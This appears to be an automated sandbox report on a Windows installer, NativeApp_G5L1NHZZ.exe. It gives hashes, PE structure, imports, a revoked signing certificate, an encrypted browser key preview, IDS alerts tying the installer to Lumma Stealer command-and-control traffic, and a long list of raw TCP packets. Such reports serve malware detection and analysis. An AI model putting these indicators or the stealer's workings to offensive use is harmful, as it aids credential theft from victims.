                                                                                                                                                                                                                                                                Size (bytes):389
                                                                                                                                                                                                                                                                Entropy (8bit):5.622783085510163
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12:YKWSg99rrt+BufBZ8qZtzx3SuVAwLNLLu9ls:YKWfrrt0aBZhztSuVBNT
                                                                                                                                                                                                                                                                MD5:BD424D68AE9DEBA91AA9A6350C40A7EB
                                                                                                                                                                                                                                                                SHA1:A92D16896C70E6AE340CF0FB3BBACB07D30F1DF7
                                                                                                                                                                                                                                                                SHA-256:8BD45837D85461D7029F7438D741FAD5B15AA69F43A2586B980A49F0E3A4C212
                                                                                                                                                                                                                                                                SHA-512:45313C3D340C3BA4AC05B0D0D99146047CCCE5FC1F6F492275B68F552C8EE556B3ECA91BDCC278F2C681F66625039B9102B7032BEF7F6D0048887E100EF4BE69
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:{"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACwZIk/Hgf4SoUmo4O16FoBAAAAAAIAAAAAABBmAAAAAQAAIAAAALvxVkizemMzZ4rd/+pbKEwXFnJorZuwHpzmbmLuHeUIAAAAAA6AAAAAAgAAIAAAAGbVC8mjcwa8HU4rbwvSWwGprSP2gAhvisIWJoPjHCYtMAAAALBU8J9aDZ+YcZCmailrvZ+OdAYfmmoNQxd6nLok/5/zZ1cK7wAniEgwbtgon0JMPkAAAACJpGV5OWsxk8BC03fXdLbxD23f8MjtKN5ZX6J/5mYGLadKrN6qP3JYdZPxEKh5thoKHhgGopk4WKeT1Z0fJvsR"}}

                                                                                                                                                                                                                                                                Static File Info

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                                                                                                                                                                                                                                Entropy (8bit):7.999986219397736
                                                                                                                                                                                                                                                                TrID:
                                                                                                                                                                                                                                                                • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                                                                                                                                                                                • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                                                                                                                                • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                                                                                                                                • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                                                                                                                File name:NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File size:64'889'808 bytes
                                                                                                                                                                                                                                                                MD5:d1d6a581049df18ac3b675230e04311b
                                                                                                                                                                                                                                                                SHA1:93cca2d736bdcc73f6792901c029bb2ce686d8a0
                                                                                                                                                                                                                                                                SHA256:380920dfcdec5d7704ad1af1ce35feba7c3af1b68ffa4588b734647f28eeabb7
                                                                                                                                                                                                                                                                SHA512:ed0b501515a19f9629051b0d2f9ffc87313ec690c9c4dacd181e5cdf988cb91934ba96db3b59ff65ab4278d3d4015b44d4f2e3e3ca4fcb1ccb1184277cbd4a25
                                                                                                                                                                                                                                                                SSDEEP:786432:fAn7RdjjBjBUMgNujL7d10IUqGDK8TjYdntzwFmlcs2kWqgLEL5jT1VWW1Aaxp4n:ejddpgbIUqiKkYtpwFPihmSxS3048c
                                                                                                                                                                                                                                                                TLSH:78E7338D2029819FC157FABD2149B2F1CDFEDAF93B8657B1A4CE2F86F160212496C14D
                                                                                                                                                                                                                                                                File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf.*_9..Pf..Pg.LPf.*_;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L......\.................h...8...@.

                                                                                                                                                                                                                                                                File Icon

                                                                                                                                                                                                                                                                Icon Hash:adaeb397f36b6331

                                                                                                                                                                                                                                                                Static PE Info

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Entrypoint:0x40338f
                                                                                                                                                                                                                                                                Entrypoint Section:.text
                                                                                                                                                                                                                                                                Digitally signed:true
                                                                                                                                                                                                                                                                Imagebase:0x400000
                                                                                                                                                                                                                                                                Subsystem:windows gui
                                                                                                                                                                                                                                                                Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                                                                                                                                                                                                                                DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                                                                                                                                                                                                Time Stamp:0x5C157F86 [Sat Dec 15 22:26:14 2018 UTC]
                                                                                                                                                                                                                                                                TLS Callbacks:
                                                                                                                                                                                                                                                                CLR (.Net) Version:
                                                                                                                                                                                                                                                                OS Version Major:4
                                                                                                                                                                                                                                                                OS Version Minor:0
                                                                                                                                                                                                                                                                File Version Major:4
                                                                                                                                                                                                                                                                File Version Minor:0
                                                                                                                                                                                                                                                                Subsystem Version Major:4
                                                                                                                                                                                                                                                                Subsystem Version Minor:0
                                                                                                                                                                                                                                                                Import Hash:b34f154ec913d2d2c435cbd644e91687

                                                                                                                                                                                                                                                                Authenticode Signature

                                                                                                                                                                                                                                                                Signature Valid:false
                                                                                                                                                                                                                                                                Signature Issuer:CN=SSL.com EV Code Signing Intermediate CA RSA R3, O=SSL Corp, L=Houston, S=Texas, C=US
                                                                                                                                                                                                                                                                Signature Validation Error:A certificate was explicitly revoked by its issuer
                                                                                                                                                                                                                                                                Error Number:-2146762484
                                                                                                                                                                                                                                                                Not Before, Not After
                                                                                                                                                                                                                                                                • 24/10/2024 11:12:56 24/10/2025 11:12:56
                                                                                                                                                                                                                                                                Subject Chain
                                                                                                                                                                                                                                                                • OID.1.3.6.1.4.1.311.60.2.1.3=CN, OID.2.5.4.15=Private Organization, CN=Gaotang Xinneng No.1 Entrepreneurship Investment Center(LP), SERIALNUMBER=91371526MA3REAPL1M, O=Gaotang Xinneng No.1 Entrepreneurship Investment Center(LP), L=Liaocheng, S=Shandong, C=CN
                                                                                                                                                                                                                                                                Version:3
                                                                                                                                                                                                                                                                Thumbprint MD5:942608B7FF828910B86F3356A57E6129
                                                                                                                                                                                                                                                                Thumbprint SHA-1:74A8215A54F52F792D351D66BD56A0AC626474FB
                                                                                                                                                                                                                                                                Thumbprint SHA-256:38CEAD938384106C5E50C0A79271AEDE38560B264643CE6A0E209EAE6E29B77D
                                                                                                                                                                                                                                                                Serial:30013CBBB16A7FD3C57F82707FB99C32

                                                                                                                                                                                                                                                                Entrypoint Preview

                                                                                                                                                                                                                                                                Instruction
                                                                                                                                                                                                                                                                sub esp, 000002D4h
                                                                                                                                                                                                                                                                push ebx
                                                                                                                                                                                                                                                                push esi
                                                                                                                                                                                                                                                                push edi
                                                                                                                                                                                                                                                                push 00000020h
                                                                                                                                                                                                                                                                pop edi
                                                                                                                                                                                                                                                                xor ebx, ebx
                                                                                                                                                                                                                                                                push 00008001h
                                                                                                                                                                                                                                                                mov dword ptr [esp+14h], ebx
                                                                                                                                                                                                                                                                mov dword ptr [esp+10h], 0040A2E0h
                                                                                                                                                                                                                                                                mov dword ptr [esp+1Ch], ebx
                                                                                                                                                                                                                                                                call dword ptr [004080A8h]
                                                                                                                                                                                                                                                                call dword ptr [004080A4h]
                                                                                                                                                                                                                                                                and eax, BFFFFFFFh
                                                                                                                                                                                                                                                                cmp ax, 00000006h
                                                                                                                                                                                                                                                                mov dword ptr [0047AEECh], eax
                                                                                                                                                                                                                                                                je 00007FC9ACF63143h
                                                                                                                                                                                                                                                                push ebx
                                                                                                                                                                                                                                                                call 00007FC9ACF663F5h
                                                                                                                                                                                                                                                                cmp eax, ebx
                                                                                                                                                                                                                                                                je 00007FC9ACF63139h
                                                                                                                                                                                                                                                                push 00000C00h
                                                                                                                                                                                                                                                                call eax
                                                                                                                                                                                                                                                                mov esi, 004082B0h
                                                                                                                                                                                                                                                                push esi
                                                                                                                                                                                                                                                                call 00007FC9ACF6636Fh
                                                                                                                                                                                                                                                                push esi
                                                                                                                                                                                                                                                                call dword ptr [00408150h]
                                                                                                                                                                                                                                                                lea esi, dword ptr [esi+eax+01h]
                                                                                                                                                                                                                                                                cmp byte ptr [esi], 00000000h
                                                                                                                                                                                                                                                                jne 00007FC9ACF6311Ch
                                                                                                                                                                                                                                                                push 0000000Ah
                                                                                                                                                                                                                                                                call 00007FC9ACF663C8h
                                                                                                                                                                                                                                                                push 00000008h
                                                                                                                                                                                                                                                                call 00007FC9ACF663C1h
                                                                                                                                                                                                                                                                push 00000006h
                                                                                                                                                                                                                                                                mov dword ptr [0047AEE4h], eax
                                                                                                                                                                                                                                                                call 00007FC9ACF663B5h
                                                                                                                                                                                                                                                                cmp eax, ebx
                                                                                                                                                                                                                                                                je 00007FC9ACF63141h
                                                                                                                                                                                                                                                                push 0000001Eh
                                                                                                                                                                                                                                                                call eax
                                                                                                                                                                                                                                                                test eax, eax
                                                                                                                                                                                                                                                                je 00007FC9ACF63139h
                                                                                                                                                                                                                                                                or byte ptr [0047AEEFh], 00000040h
                                                                                                                                                                                                                                                                push ebp
                                                                                                                                                                                                                                                                call dword ptr [00408044h]
                                                                                                                                                                                                                                                                push ebx
                                                                                                                                                                                                                                                                call dword ptr [004082A0h]
                                                                                                                                                                                                                                                                mov dword ptr [0047AFB8h], eax
                                                                                                                                                                                                                                                                push ebx
                                                                                                                                                                                                                                                                lea eax, dword ptr [esp+34h]
                                                                                                                                                                                                                                                                push 000002B4h
                                                                                                                                                                                                                                                                push eax
                                                                                                                                                                                                                                                                push ebx
                                                                                                                                                                                                                                                                push 00440208h
                                                                                                                                                                                                                                                                call dword ptr [00408188h]
                                                                                                                                                                                                                                                                push 0040A2C8h

                                                                                                                                                                                                                                                                Rich Headers

                                                                                                                                                                                                                                                                Programming Language:
                                                                                                                                                                                                                                                                • [EXP] VC++ 6.0 SP5 build 8804

                                                                                                                                                                                                                                                                Data Directories

                                                                                                                                                                                                                                                                NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_IMPORT0x86100xa0.rdata
                                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_RESOURCE0x10b0000x9960.rsrc
                                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_SECURITY0x3de03480x2088
                                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_IAT0x80000x2b0.rdata
                                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                                                                                                Sections

                                                                                                                                                                                                                                                                NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                                                                                .text0x10000x66270x68007618d4c0cd8bb67ea9595b4266b3a91fFalse0.6646259014423077data6.450282348506287IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                                                .rdata0x80000x14a20x1600eecac1fed9cc6b447d50940d178404d8False0.4405184659090909data5.025178929113415IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                                                .data0xa0000x70ff80x600db8f31a08a2242d80c29e1f9500c6527False0.5182291666666666data4.037117731448378IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                                                .ndata0x7b0000x900000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                                                .rsrc0x10b0000x99600x9a002e4d80acc65bcdc671b56a4ed90cfcf9False0.9606584821428571data7.843435567834013IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                                                                                                                                                                                Resources

                                                                                                                                                                                                                                                                NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                                                                                                                RT_ICON0x10b1d80x8f8dPNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States0.9947209447876133
                                                                                                                                                                                                                                                                RT_DIALOG0x1141680x100dataEnglishUnited States0.5234375
                                                                                                                                                                                                                                                                RT_DIALOG0x1142680xf8dataEnglishUnited States0.6330645161290323
                                                                                                                                                                                                                                                                RT_DIALOG0x1143600x60dataEnglishUnited States0.7291666666666666
                                                                                                                                                                                                                                                                RT_GROUP_ICON0x1143c00x14dataEnglishUnited States1.05
                                                                                                                                                                                                                                                                RT_VERSION0x1143d80x248dataEnglishUnited States0.4965753424657534
                                                                                                                                                                                                                                                                RT_MANIFEST0x1146200x33eXML 1.0 document, ASCII text, with very long lines (830), with no line terminatorsEnglishUnited States0.5542168674698795

                                                                                                                                                                                                                                                                Imports

                                                                                                                                                                                                                                                                DLLImport
                                                                                                                                                                                                                                                                KERNEL32.dllSetEnvironmentVariableW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, SetCurrentDirectoryW, GetFileAttributesW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, ExitProcess, GetShortPathNameW, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalLock, GlobalUnlock, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
                                                                                                                                                                                                                                                                USER32.dllGetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
                                                                                                                                                                                                                                                                GDI32.dllSelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
                                                                                                                                                                                                                                                                SHELL32.dllSHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
                                                                                                                                                                                                                                                                ADVAPI32.dllAdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
                                                                                                                                                                                                                                                                COMCTL32.dllImageList_Create, ImageList_AddMasked, ImageList_Destroy
                                                                                                                                                                                                                                                                ole32.dllOleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

                                                                                                                                                                                                                                                                Possible Origin

                                                                                                                                                                                                                                                                Language of compilation systemCountry where language is spokenMap
                                                                                                                                                                                                                                                                EnglishUnited States

                                                                                                                                                                                                                                                                Network Behavior

                                                                                                                                                                                                                                                                Suricata IDS Alerts

                                                                                                                                                                                                                                                                TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                                                                                                                                2024-12-18T11:05:52.599221+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549969185.117.73.24680TCP
                                                                                                                                                                                                                                                                2024-12-18T11:06:46.911948+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549989172.67.146.77443TCP
                                                                                                                                                                                                                                                                2024-12-18T11:06:48.872966+01002049836ET MALWARE Lumma Stealer Related Activity1192.168.2.549989172.67.146.77443TCP
                                                                                                                                                                                                                                                                2024-12-18T11:06:48.872966+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.549989172.67.146.77443TCP
                                                                                                                                                                                                                                                                2024-12-18T11:06:49.328541+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549990172.67.146.77443TCP

                                                                                                                                                                                                                                                                Network Port Distribution

                                                                                                                                                                                                                                                                TCP Packets

                                                                                                                                                                                                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:13.719516993 CET49741443192.168.2.5142.250.181.132
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:13.719561100 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:13.719626904 CET49741443192.168.2.5142.250.181.132
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:13.720737934 CET49741443192.168.2.5142.250.181.132
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:13.720752001 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:15.410016060 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:15.415337086 CET49741443192.168.2.5142.250.181.132
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:15.415357113 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:15.416471004 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:15.416544914 CET49741443192.168.2.5142.250.181.132
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:15.418530941 CET49741443192.168.2.5142.250.181.132
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:15.418623924 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:15.468988895 CET49741443192.168.2.5142.250.181.132
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:15.469003916 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:15.515990973 CET49741443192.168.2.5142.250.181.132
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.466216087 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.466272116 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.466305971 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.466353893 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.466407061 CET49741443192.168.2.5142.250.181.132
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.466424942 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.466442108 CET49741443192.168.2.5142.250.181.132
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.479454994 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.479645967 CET49741443192.168.2.5142.250.181.132
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.479654074 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.487438917 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.487507105 CET49741443192.168.2.5142.250.181.132
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.487514019 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.531733990 CET49741443192.168.2.5142.250.181.132
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.531743050 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.579730034 CET49741443192.168.2.5142.250.181.132
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.585700989 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.586586952 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.586829901 CET49741443192.168.2.5142.250.181.132
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.586843967 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.640847921 CET49741443192.168.2.5142.250.181.132
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.657309055 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.661757946 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.662019968 CET49741443192.168.2.5142.250.181.132
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.662035942 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.666898966 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.666960001 CET49741443192.168.2.5142.250.181.132
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.667870998 CET49741443192.168.2.5142.250.181.132
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:16.667885065 CET44349741142.250.181.132192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:23.549498081 CET49768443192.168.2.5172.64.41.3
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:23.549550056 CET44349768172.64.41.3192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:23.549688101 CET49768443192.168.2.5172.64.41.3
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:23.550136089 CET49768443192.168.2.5172.64.41.3
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:23.550148964 CET44349768172.64.41.3192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:24.311342955 CET49769443192.168.2.5172.64.41.3
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:24.311382055 CET44349769172.64.41.3192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:24.311747074 CET49769443192.168.2.5172.64.41.3
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:24.316395998 CET49769443192.168.2.5172.64.41.3
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:24.316411018 CET44349769172.64.41.3192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:24.758523941 CET44349768172.64.41.3192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:24.783907890 CET49768443192.168.2.5172.64.41.3
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:24.783934116 CET44349768172.64.41.3192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:24.785317898 CET44349768172.64.41.3192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:24.785371065 CET49768443192.168.2.5172.64.41.3
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:24.805417061 CET49768443192.168.2.5172.64.41.3
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:24.805546045 CET44349768172.64.41.3192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:24.806058884 CET49768443192.168.2.5172.64.41.3
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:24.806081057 CET44349768172.64.41.3192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:24.906482935 CET49768443192.168.2.5172.64.41.3
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:25.187367916 CET44349768172.64.41.3192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:25.187438965 CET44349768172.64.41.3192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:25.187577009 CET49768443192.168.2.5172.64.41.3
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:25.188429117 CET49768443192.168.2.5172.64.41.3
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:25.188441992 CET44349768172.64.41.3192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:25.521116018 CET44349769172.64.41.3192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:25.547862053 CET49769443192.168.2.5172.64.41.3
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:25.547873020 CET44349769172.64.41.3192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:25.548955917 CET44349769172.64.41.3192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:25.549024105 CET49769443192.168.2.5172.64.41.3
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:25.594358921 CET49769443192.168.2.5172.64.41.3
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:25.594466925 CET44349769172.64.41.3192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:25.594583988 CET49769443192.168.2.5172.64.41.3
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:25.639333010 CET44349769172.64.41.3192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:25.640847921 CET49769443192.168.2.5172.64.41.3
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:25.640853882 CET44349769172.64.41.3192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:25.668698072 CET49769443192.168.2.5172.64.41.3
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:25.668766022 CET44349769172.64.41.3192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:25.668814898 CET49769443192.168.2.5172.64.41.3
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:40.433232069 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:40.552982092 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:40.553091049 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:40.553556919 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:40.673186064 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930129051 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930161953 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930174112 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930228949 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930242062 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930254936 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930288076 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930392027 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930404902 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930428028 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930439949 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930444956 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930454969 CET804980784.200.24.191192.168.2.5
